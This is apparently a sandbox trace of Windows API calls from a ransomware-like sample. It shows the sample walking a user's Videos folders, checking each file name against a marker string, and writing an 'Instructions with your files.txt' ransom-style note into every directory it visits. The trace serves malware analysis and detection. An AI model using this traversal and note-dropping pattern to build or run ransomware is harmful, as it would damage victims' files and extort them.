[0131.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a9caf80, ftCreationTime.dwHighDateTime=0x1d5c1e8, ftLastAccessTime.dwLowDateTime=0xa4448d90, ftLastAccessTime.dwHighDateTime=0x1d5c34a, ftLastWriteTime.dwLowDateTime=0xa4448d90, ftLastWriteTime.dwHighDateTime=0x1d5c34a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.733] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\.") returned 69
[0131.733] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a9caf80, ftCreationTime.dwHighDateTime=0x1d5c1e8, ftLastAccessTime.dwLowDateTime=0xa4448d90, ftLastAccessTime.dwHighDateTime=0x1d5c34a, ftLastWriteTime.dwLowDateTime=0xa4448d90, ftLastWriteTime.dwHighDateTime=0x1d5c34a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.733] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\..") returned 70
[0131.733] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92c6840, ftCreationTime.dwHighDateTime=0x1d5bf78, ftLastAccessTime.dwLowDateTime=0xd8536d30, ftLastAccessTime.dwHighDateTime=0x1d5b7d9, ftLastWriteTime.dwLowDateTime=0xd8536d30, ftLastWriteTime.dwHighDateTime=0x1d5b7d9, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="iF7NMnL.flv", cAlternateFileName="")) returned 1
[0131.733] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\iF7NMnL.flv") returned 79
[0131.733] StrStrIW (lpFirst="iF7NMnL.flv", lpSrch="SDfghjkl") returned 0x0
[0131.733] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0706f0, ftCreationTime.dwHighDateTime=0x1d5bf24, ftLastAccessTime.dwLowDateTime=0xa2b79e40, ftLastAccessTime.dwHighDateTime=0x1d5c5b6, ftLastWriteTime.dwLowDateTime=0xa2b79e40, ftLastWriteTime.dwHighDateTime=0x1d5c5b6, nFileSizeHigh=0x0, nFileSizeLow=0x1655c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PY0MvBRToh-oBczol.mkv", cAlternateFileName="PY0MVB~1.MKV")) returned 1
[0131.733] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\PY0MvBRToh-oBczol.mkv") returned 89
[0131.733] StrStrIW (lpFirst="PY0MvBRToh-oBczol.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.733] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd6dba0, ftCreationTime.dwHighDateTime=0x1d5c532, ftLastAccessTime.dwLowDateTime=0x1dc6d150, ftLastAccessTime.dwHighDateTime=0x1d5c2f6, ftLastWriteTime.dwLowDateTime=0x1dc6d150, ftLastWriteTime.dwHighDateTime=0x1d5c2f6, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RpyiDDyH7TR.mp4", cAlternateFileName="RPYIDD~1.MP4")) returned 1
[0131.733] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\RpyiDDyH7TR.mp4") returned 83
[0131.733] StrStrIW (lpFirst="RpyiDDyH7TR.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.733] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd6dba0, ftCreationTime.dwHighDateTime=0x1d5c532, ftLastAccessTime.dwLowDateTime=0x1dc6d150, ftLastAccessTime.dwHighDateTime=0x1d5c2f6, ftLastWriteTime.dwLowDateTime=0x1dc6d150, ftLastWriteTime.dwHighDateTime=0x1d5c2f6, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RpyiDDyH7TR.mp4", cAlternateFileName="RPYIDD~1.MP4")) returned 0
[0131.733] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\Instructions with your files.txt") returned 100
[0131.733] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\0sGrBu7qd_YP3\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwuv\\s9qb7dl\\0sgrbu7qd_yp3\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.733] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.734] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.734] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.734] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.735] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.735] CloseHandle (hObject=0x118) returned 1
[0131.735] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.735] GetProcessHeap () returned 0x810000
[0131.735] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.735] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40944110, ftCreationTime.dwHighDateTime=0x1d5bdd1, ftLastAccessTime.dwLowDateTime=0x7632b580, ftLastAccessTime.dwHighDateTime=0x1d5b63e, ftLastWriteTime.dwLowDateTime=0x7632b580, ftLastWriteTime.dwHighDateTime=0x1d5b63e, nFileSizeHigh=0x0, nFileSizeLow=0x13e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="9HXYJ9Dj1m.flv", cAlternateFileName="9HXYJ9~1.FLV")) returned 1
[0131.735] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\9HXYJ9Dj1m.flv") returned 68
[0131.735] StrStrIW (lpFirst="9HXYJ9Dj1m.flv", lpSrch="SDfghjkl") returned 0x0
[0131.735] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b89a20, ftCreationTime.dwHighDateTime=0x1d5c1f5, ftLastAccessTime.dwLowDateTime=0x20380a10, ftLastAccessTime.dwHighDateTime=0x1d5b75e, ftLastWriteTime.dwLowDateTime=0x20380a10, ftLastWriteTime.dwHighDateTime=0x1d5b75e, nFileSizeHigh=0x0, nFileSizeLow=0xb1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gPu1lytep.mkv", cAlternateFileName="GPU1LY~1.MKV")) returned 1
[0131.735] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\gPu1lytep.mkv") returned 67
[0131.735] StrStrIW (lpFirst="gPu1lytep.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.735] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12418770, ftCreationTime.dwHighDateTime=0x1d5bae1, ftLastAccessTime.dwLowDateTime=0xe4bda270, ftLastAccessTime.dwHighDateTime=0x1d5b7e3, ftLastWriteTime.dwLowDateTime=0xe4bda270, ftLastWriteTime.dwHighDateTime=0x1d5b7e3, nFileSizeHigh=0x0, nFileSizeLow=0xb9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="l5 fQGKHJG-.swf", cAlternateFileName="L5FQGK~1.SWF")) returned 1
[0131.735] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\l5 fQGKHJG-.swf") returned 69
[0131.735] StrStrIW (lpFirst="l5 fQGKHJG-.swf", lpSrch="SDfghjkl") returned 0x0
[0131.735] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918adfc0, ftCreationTime.dwHighDateTime=0x1d5bf89, ftLastAccessTime.dwLowDateTime=0xc3f59240, ftLastAccessTime.dwHighDateTime=0x1d5badc, ftLastWriteTime.dwLowDateTime=0xc3f59240, ftLastWriteTime.dwHighDateTime=0x1d5badc, nFileSizeHigh=0x0, nFileSizeLow=0xae49, dwReserved0=0x0, dwReserved1=0x0, cFileName="NZDfc5IWQOw5QN.avi", cAlternateFileName="NZDFC5~1.AVI")) returned 1
[0131.735] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\NZDfc5IWQOw5QN.avi") returned 72
[0131.735] StrStrIW (lpFirst="NZDfc5IWQOw5QN.avi", lpSrch="SDfghjkl") returned 0x0
[0131.735] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87adb60, ftCreationTime.dwHighDateTime=0x1d5bd43, ftLastAccessTime.dwLowDateTime=0x19df57d0, ftLastAccessTime.dwHighDateTime=0x1d5b61a, ftLastWriteTime.dwLowDateTime=0x19df57d0, ftLastWriteTime.dwHighDateTime=0x1d5b61a, nFileSizeHigh=0x0, nFileSizeLow=0x15894, dwReserved0=0x0, dwReserved1=0x0, cFileName="xbU Ig1pHFvI.mp4", cAlternateFileName="XBUIG1~1.MP4")) returned 1
[0131.735] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\xbU Ig1pHFvI.mp4") returned 70
[0131.735] StrStrIW (lpFirst="xbU Ig1pHFvI.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.735] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4461970, ftCreationTime.dwHighDateTime=0x1d5bc0c, ftLastAccessTime.dwLowDateTime=0xe68a61d0, ftLastAccessTime.dwHighDateTime=0x1d5bd36, ftLastWriteTime.dwLowDateTime=0xe68a61d0, ftLastWriteTime.dwHighDateTime=0x1d5bd36, nFileSizeHigh=0x0, nFileSizeLow=0x134a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y99g1US4aoPt.avi", cAlternateFileName="Y99G1U~1.AVI")) returned 1
[0131.735] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\Y99g1US4aoPt.avi") returned 70
[0131.735] StrStrIW (lpFirst="Y99g1US4aoPt.avi", lpSrch="SDfghjkl") returned 0x0
[0131.735] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4461970, ftCreationTime.dwHighDateTime=0x1d5bc0c, ftLastAccessTime.dwLowDateTime=0xe68a61d0, ftLastAccessTime.dwHighDateTime=0x1d5bd36, ftLastWriteTime.dwLowDateTime=0xe68a61d0, ftLastWriteTime.dwHighDateTime=0x1d5bd36, nFileSizeHigh=0x0, nFileSizeLow=0x134a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y99g1US4aoPt.avi", cAlternateFileName="Y99G1U~1.AVI")) returned 0
[0131.735] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\Instructions with your files.txt") returned 86
[0131.735] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\S9Qb7dL\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwuv\\s9qb7dl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.736] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.737] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.737] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.737] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.737] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.737] CloseHandle (hObject=0x114) returned 1
[0131.737] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.737] GetProcessHeap () returned 0x810000
[0131.737] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.737] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73aad040, ftCreationTime.dwHighDateTime=0x1d5b73d, ftLastAccessTime.dwLowDateTime=0xf939c860, ftLastAccessTime.dwHighDateTime=0x1d5bfe4, ftLastWriteTime.dwLowDateTime=0xf939c860, ftLastWriteTime.dwHighDateTime=0x1d5bfe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S9Qb7dL", cAlternateFileName="")) returned 0
[0131.737] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\Instructions with your files.txt") returned 78
[0131.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\lwuV\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwuv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.737] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.738] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.738] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.738] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.739] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.739] CloseHandle (hObject=0x110) returned 1
[0131.739] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.739] GetProcessHeap () returned 0x810000
[0131.739] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.739] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ad8d270, ftCreationTime.dwHighDateTime=0x1d5c478, ftLastAccessTime.dwLowDateTime=0xff9a490, ftLastAccessTime.dwHighDateTime=0x1d5b652, ftLastWriteTime.dwLowDateTime=0xff9a490, ftLastWriteTime.dwHighDateTime=0x1d5b652, nFileSizeHigh=0x0, nFileSizeLow=0x7870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nTzEkNJ.flv", cAlternateFileName="")) returned 1
[0131.739] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nTzEkNJ.flv") returned 52
[0131.739] StrStrIW (lpFirst="nTzEkNJ.flv", lpSrch="SDfghjkl") returned 0x0
[0131.739] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4781f00, ftCreationTime.dwHighDateTime=0x1d5bf8c, ftLastAccessTime.dwLowDateTime=0x69dfb300, ftLastAccessTime.dwHighDateTime=0x1d5c430, ftLastWriteTime.dwLowDateTime=0x69dfb300, ftLastWriteTime.dwHighDateTime=0x1d5c430, nFileSizeHigh=0x0, nFileSizeLow=0x4da7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YagA.avi", cAlternateFileName="")) returned 1
[0131.739] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\YagA.avi") returned 49
[0131.739] StrStrIW (lpFirst="YagA.avi", lpSrch="SDfghjkl") returned 0x0
[0131.739] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4781f00, ftCreationTime.dwHighDateTime=0x1d5bf8c, ftLastAccessTime.dwLowDateTime=0x69dfb300, ftLastAccessTime.dwHighDateTime=0x1d5c430, ftLastWriteTime.dwLowDateTime=0x69dfb300, ftLastWriteTime.dwHighDateTime=0x1d5c430, nFileSizeHigh=0x0, nFileSizeLow=0x4da7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YagA.avi", cAlternateFileName="")) returned 0
[0131.739] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Instructions with your files.txt") returned 73
[0131.739] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.739] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.740] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.740] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.741] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.741] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.741] CloseHandle (hObject=0x10c) returned 1
[0131.741] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.741] GetProcessHeap () returned 0x810000
[0131.741] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.741] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
[0131.741] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Instructions with your files.txt") returned 66
[0131.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0131.741] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0131.742] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0131.742] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0131.742] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0131.742] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0131.742] CloseHandle (hObject=0x108) returned 1
[0131.743] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0131.743] GetProcessHeap () returned 0x810000
[0131.743] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0131.743] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
[0131.743] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users") returned 22
